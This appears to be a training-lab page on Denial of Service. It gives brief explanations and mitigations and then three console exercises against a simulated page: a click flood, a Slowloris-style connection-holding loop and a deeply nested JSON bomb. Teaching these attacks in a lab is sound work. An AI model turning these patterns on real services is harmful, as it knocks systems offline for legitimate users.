D — Denial of Service
Denial of Service is about making a service unavailable—by exhausting time, memory, bandwidth, or critical limits. Availability is the target.
What it means
Attackers overwhelm a service so legitimate users can’t access it.
Why it matters
Downtime breaks trust and costs money.
How to mitigate
Rate-limit, cache, queue work, scale horizontally.
Resource Pool Exhaustion
Clicks consume a limited server resource pool. Flood the system to exhaust it.
// Flood the button with clicks (naive DoS)
const btn = document.getElementById("attackBtn");
for (let i = 0; i < 50000; i++) btn.click();
Slowloris (Connection Holding)
Instead of flooding, the attacker opens connections slowly and keeps them alive. The server runs out of connection slots.
// Slowloris-style: open connections slowly and keep them alive
let opened = 0;
var t = setInterval(() => {
document.getElementById("openConnBtn").click();
opened++;
if (opened >= 80) clearInterval(t);
}, 200); // (change to lower value to overload)
Task 3 — JSON Bomb (Deep Nesting)
A valid JSON payload can still cause DoS if parsing/processing becomes expensive. Your job: send a payload that overwhelms the system.
(() => {
// Build nested JSON safely
const depth = 250; // try 80, 150, 250...
let obj = {};
for (let i = 0; i < depth; i++) obj = { a: obj };
const payload = JSON.stringify(obj);
document.getElementById("jsonInput").value = payload;
// then click "Submit Payload"
})();